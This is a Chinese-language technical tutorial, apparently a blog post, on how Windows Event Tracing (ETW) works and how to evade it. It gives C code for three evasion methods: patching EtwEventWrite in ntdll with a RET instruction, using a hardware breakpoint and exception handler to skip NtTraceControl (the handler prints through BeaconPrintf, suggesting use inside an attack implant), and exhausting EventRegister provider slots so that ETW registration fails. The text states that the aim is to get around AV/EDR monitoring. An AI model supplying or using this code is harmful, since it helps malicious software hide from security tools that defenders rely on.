ETW概念
ETW全称为Event Tracing for Windows即Windows事件跟踪器,ETW最初期是在Windows 2000中引入,最初是提供详细的用户和内核日志记录这些日志记录可以动态启用或者禁用,无需重启目标进程,由于采用内核层面的缓冲和日志记录机制,所以ETW提供了一种非常高效的事件跟踪日志解决方案.
ETW内部结构概述
ETW的两个主要组成部分是ETW Provider和ETW Consumer提供程序将事件发送发到ETW全局的唯一标识符位于HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Publishers\<PROVIDER_GUID,每个Winodows系统注册了上墙提供程序
logman query providers
这个事件是 Windows 操作系统中的一个日志事件,它与 Windows 内置的威胁情报系统
对于哪些喜欢可视化见面的人来说可以使用EtwExplorer
链接(https://github.com/zodiacon/EtwExplorer)
用户层ETW API补丁
调用ETW几乎可以监控进程的一切,api调用链,.net加载.网络通讯等(基于ETW还实现的工具procmon,process hacker),不调用ETW那AV/EDR就是通过规则拦截.
ETW的组件是内置在Windows的内核当中的,使用整个Windows拥有了事件追踪和监控的能力,但是在用户称有部分ETW API,开发者用这些API进行交互使用.
下面是这些API
EtwEventWrite和EtwEventWriteEx.StartTraceA 和 StopTraceA.QueryAllTraces.可以通过内存补丁来修补这些API实现bypass ETW
代码如下
etwPatch 数组,其中包含了要写入 EtwEventWrite 函数的第一个字节(0xC3, 即 RET 指令)
void patchETW() {
void* etwAddr = GetProcAddress(GetModuleHandle(L"ntdll.dll"), "EtwEventWrite");
char etwPatch[] = { 0xC3 };
DWORD lpflOldProtect = 0;
unsigned __int64 memPage = 0x1000;
void* etwAddr_bk = etwAddr;
NtProtectVirtualMemory(hProc, (PVOID*)&etwAddr_bk, (PSIZE_T)&memPage, 0x04, &lpflOldProtect);
NtWriteVirtualMemory(hProc, (LPVOID)etwAddr, (PVOID)etwPatch, sizeof(etwPatch), (SIZE_T*)nullptr);
NtProtectVirtualMemory(hProc, (PVOID*)&etwAddr_bk, (PSIZE_T)&memPage, lpflOldProtect, &lpflOldProtect);
std::cout << "[+] Patched etw!\n";
}
断点绕过ETW
简述一下何为硬件断点,硬件断点是CPU提供的软件调试功能,可以通过设置特定的调试的寄存器来实现线程断点调试.下面是X64寄存器的结构图(需要详细讲解的可自行查看文章)
这里是ntdll.dll中的NtTraceControl函数(启动、停止和配置ETW)也可以换成NtTraceEvent函数(ETW函数最后调用底层函数再下去就到内核).不啰嗦放代码下面
指定线程的任意地址设置或删除硬件断点address是设置断点地址,pos是调试寄存器位置(0-3)x86/x64 CPU 有4个调试寄存器(Dr0-Dr3)可用于设置硬件断点,int如果为True,则初始化断点如果为false则删除断点.
void set_hardware_breakpoint()
{
CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS };
HANDLE thd;
if (tid == GetCurrentThreadId())
{
thd = GetCurrentThread();
}
else
{
thd = OpenThread(THREAD_ALL_ACCESS, FALSE, tid);
}
GetThreadContext(thd, &context);
if (init)
{
(&context.Dr0)[pos] = address;
context.Dr7 &= ~(3ull << (16 + 4 * pos));
context.Dr7 &= ~(3ull << (18 + 4 * pos));
context.Dr7 |= 1ull << (2 * pos);
}
else
{
if ((&context.Dr0)[pos] == address)
{
context.Dr7 &= ~(1ull << (2 * pos));
(&context.Dr0)[pos] = 0ull;
}
}
SetThreadContext(thd, &context);
if (thd != INVALID_HANDLE_VALUE) CloseHandle(thd);
}
下面异常处理检查异常发生地址是否等于NtTraceControl函数地址,发生异常在NtTraceControl 函数地址上,fin_gadet函数查找并修改Rip寄存器的值改为Ret指令的的地址. pathchetw将ret指令到该函数跳过改函数的调用,在异常处理函数中获取当前的返回地址并且将调用指令指针设置为返回地址实现跳过.
LONG WINAPI exception_handler(PEXCEPTION_POINTERS ExceptionInfo)
{
if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP)
{
if (ExceptionInfo->ContextRecord->Rip == (uintptr_t)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtTraceControl"))
{
BeaconPrintf(CALLBACK_OUTPUT, "[+] In exception handler of NtTraceControl.\n");
ExceptionInfo->ContextRecord->Rip = find_gadget(ExceptionInfo->ContextRecord->Rip, "\xc3", 1, 500);
ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // Set Resume Flag
return EXCEPTION_CONTINUE_EXECUTION;
}
}
return EXCEPTION_CONTINUE_SEARCH;
}
新方法绕过ETW
这方法无序任何补丁和断点就能实现,打补丁的方法已经被EDR挂钩这些函数.
这个新方法是EventRegister,这是软件创建ETW提供程序功能然后发送ETW事件(ETW注册失败大部分代码都正常运行),而进程最多拥有2048个如果恶意软件调用2048+在加载clr之前发生错误,那么就能规避ETW,下图是ProcessHacker当中使用了这下面代码后的状况.
代码如下
void Gluttony() {
DWORD status = ERROR_SUCCESS;
REGHANDLE RegistrationHandle = NULL;
const GUID ProviderGuid = { 0x230d3ce1, 0xbccc, 0x124e, {0x93, 0x1b, 0xd9, 0xcc, 0x2e, 0xee, 0x27, 0xe4} };
int count = 0;
while (status = EventRegister(&ProviderGuid, NULL, NULL, &RegistrationHandle) == ERROR_SUCCESS) {
count++;
}
printf("%d\n", count);
}